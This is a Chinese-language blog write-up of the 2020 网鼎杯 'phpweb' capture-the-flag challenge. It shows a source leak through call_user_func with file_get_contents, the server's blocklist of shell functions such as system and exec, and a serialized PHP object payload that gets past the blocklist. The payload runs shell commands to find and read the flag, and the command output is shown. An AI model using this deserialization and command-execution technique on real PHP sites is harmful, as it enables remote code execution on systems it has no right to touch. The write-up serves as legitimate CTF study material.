• [网鼎杯 2020 朱雀组]phpweb call_user_func()


    时间一跳一跳的 抓个包

    很奇怪 结合上面的 date() 认为第一个是函数 我们随便输一个看看

    发现过滤了

    随便输一个 linux指令

    发现报错了 call_user_func()

    看看是啥

    很容易理解 第一个参数是函数名 后面是 参数

    那么这里就是

    func 函数  p 数值

    所以我们看看有什么办法可以

    我们尝试读取源代码看看吧

    最简单的 伪协议函数

    func=file_get_contents&p=index.php

    成功读取了

    1. $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    2. function gettime($func, $p) {
    3. $result = call_user_func($func, $p);
    4. $a= gettype($result);
    5. if ($a == "string") {
    6. return $result;
    7. } else {return "";}
    8. }
    9. class Test {
    10. var $p = "Y-m-d h:i:s a";
    11. var $func = "date";
    12. function __destruct() {
    13. if ($this->func != "") {
    14. echo gettime($this->func, $this->p);
    15. }
    16. }
    17. }
    18. $func = $_REQUEST["func"];
    19. $p = $_REQUEST["p"];
    20. if ($func != null) {
    21. $func = strtolower($func);
    22. if (!in_array($func,$disable_fun)) {
    23. echo gettime($func, $p);
    24. }else {
    25. die("Hacker...");
    26. }
    27. }
    28. ?>

    过滤了许多函数 system在里面

    这里我们发现了 __destruct()

    1. class Test {
    2. var $p = "Y-m-d h:i:s a";
    3. var $func = "date";
    4. function __destruct() {
    5. if ($this->func != "") {
    6. echo gettime($this->func, $this->p);
    7. }
    8. }
    9. }

    这里很显然 魔术方法 就是让我们反序列了

    既然 $p为参数   $func为函数名

    我们直接构造序列化就可以了

    1. class Test {
    2. var $p = "ls";
    3. var $func = "system";
    4. function __destruct() {
    5. if ($this->func != "") {
    6. echo gettime($this->func, $this->p);
    7. }
    8. }
    9. }
    10. $a=new Test();
    11. echo urlencode(serialize($a));

     

    O:4:"Test":2:{s:1:"p";s:17:"find /-name flag*";s:4:"func";s:6:"system";}

    查找flag文件

    1. </script>
    2. <p>
    3. /proc/sys/kernel/sched_domain/cpu0/domain0/flags
    4. /proc/sys/kernel/sched_domain/cpu1/domain0/flags
    5. /proc/sys/kernel/sched_domain/cpu10/domain0/flags
    6. /proc/sys/kernel/sched_domain/cpu11/domain0/flags
    7. /proc/sys/kernel/sched_domain/cpu12/domain0/flags
    8. /proc/sys/kernel/sched_domain/cpu13/domain0/flags
    9. /proc/sys/kernel/sched_domain/cpu14/domain0/flags
    10. /proc/sys/kernel/sched_domain/cpu15/domain0/flags
    11. /proc/sys/kernel/sched_domain/cpu16/domain0/flags
    12. /proc/sys/kernel/sched_domain/cpu17/domain0/flags
    13. /proc/sys/kernel/sched_domain/cpu18/domain0/flags
    14. /proc/sys/kernel/sched_domain/cpu19/domain0/flags
    15. /proc/sys/kernel/sched_domain/cpu2/domain0/flags
    16. /proc/sys/kernel/sched_domain/cpu20/domain0/flags
    17. /proc/sys/kernel/sched_domain/cpu21/domain0/flags
    18. /proc/sys/kernel/sched_domain/cpu22/domain0/flags
    19. /proc/sys/kernel/sched_domain/cpu23/domain0/flags
    20. /proc/sys/kernel/sched_domain/cpu24/domain0/flags
    21. /proc/sys/kernel/sched_domain/cpu25/domain0/flags
    22. /proc/sys/kernel/sched_domain/cpu26/domain0/flags
    23. /proc/sys/kernel/sched_domain/cpu27/domain0/flags
    24. /proc/sys/kernel/sched_domain/cpu28/domain0/flags
    25. /proc/sys/kernel/sched_domain/cpu29/domain0/flags
    26. /proc/sys/kernel/sched_domain/cpu3/domain0/flags
    27. /proc/sys/kernel/sched_domain/cpu30/domain0/flags
    28. /proc/sys/kernel/sched_domain/cpu31/domain0/flags
    29. /proc/sys/kernel/sched_domain/cpu4/domain0/flags
    30. /proc/sys/kernel/sched_domain/cpu5/domain0/flags
    31. /proc/sys/kernel/sched_domain/cpu6/domain0/flags
    32. /proc/sys/kernel/sched_domain/cpu7/domain0/flags
    33. /proc/sys/kernel/sched_domain/cpu8/domain0/flags
    34. /proc/sys/kernel/sched_domain/cpu9/domain0/flags
    35. /sys/devices/pnp0/00:00/tty/ttyS0/flags
    36. /sys/devices/platform/serial8250/tty/ttyS15/flags
    37. /sys/devices/platform/serial8250/tty/ttyS6/flags
    38. /sys/devices/platform/serial8250/tty/ttyS23/flags
    39. /sys/devices/platform/serial8250/tty/ttyS13/flags
    40. /sys/devices/platform/serial8250/tty/ttyS31/flags
    41. /sys/devices/platform/serial8250/tty/ttyS4/flags
    42. /sys/devices/platform/serial8250/tty/ttyS21/flags
    43. /sys/devices/platform/serial8250/tty/ttyS11/flags
    44. /sys/devices/platform/serial8250/tty/ttyS2/flags
    45. /sys/devices/platform/serial8250/tty/ttyS28/flags
    46. /sys/devices/platform/serial8250/tty/ttyS18/flags
    47. /sys/devices/platform/serial8250/tty/ttyS9/flags
    48. /sys/devices/platform/serial8250/tty/ttyS26/flags
    49. /sys/devices/platform/serial8250/tty/ttyS16/flags
    50. /sys/devices/platform/serial8250/tty/ttyS7/flags
    51. /sys/devices/platform/serial8250/tty/ttyS24/flags
    52. /sys/devices/platform/serial8250/tty/ttyS14/flags
    53. /sys/devices/platform/serial8250/tty/ttyS5/flags
    54. /sys/devices/platform/serial8250/tty/ttyS22/flags
    55. /sys/devices/platform/serial8250/tty/ttyS12/flags
    56. /sys/devices/platform/serial8250/tty/ttyS30/flags
    57. /sys/devices/platform/serial8250/tty/ttyS3/flags
    58. /sys/devices/platform/serial8250/tty/ttyS20/flags
    59. /sys/devices/platform/serial8250/tty/ttyS10/flags
    60. /sys/devices/platform/serial8250/tty/ttyS29/flags
    61. /sys/devices/platform/serial8250/tty/ttyS1/flags
    62. /sys/devices/platform/serial8250/tty/ttyS19/flags
    63. /sys/devices/platform/serial8250/tty/ttyS27/flags
    64. /sys/devices/platform/serial8250/tty/ttyS17/flags
    65. /sys/devices/platform/serial8250/tty/ttyS8/flags
    66. /sys/devices/platform/serial8250/tty/ttyS25/flags
    67. /sys/devices/virtual/net/lo/flags
    68. /sys/devices/virtual/net/eth0/flags
    69. /sys/devices/virtual/net/tunl0/flags
    70. /tmp/flagoefiu4r93
    71. /tmp/flagoefiu4r93</p>

    很显然 最后两个很奇怪 我们直接读取

    1. func=unserialize&p=O:4:"Test":2:{s:1:"p";s:22:"cat /tmp/flagoefiu4r93";s:4:"func";s:6:"system";}

     得到了 flag

    这里主要考点是 call_user_func()

    然后通过 反序列化传递参数 很简单的一道题了

    水一下吧^^

  • 相关阅读:
    加速可编程创新,2023年英特尔FPGA中国技术日披露全矩阵FPGA产品与应用方案
    JVM 面试必问的 CMS,你懂了吗?
    IEC101规约总结
    Jupyter如何开启Debug调试功能
    YOLO-World:实时开放词汇目标检测
    设计模式学习(二)工厂模式——工厂方法模式
    使用mindspore将pkl文件转为onnx时报错
    【随想】每日两题Day.1
    海关外贸企业大数据风控平台
    Windows安装cassandra,数小时多个bug总结记录
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/132819708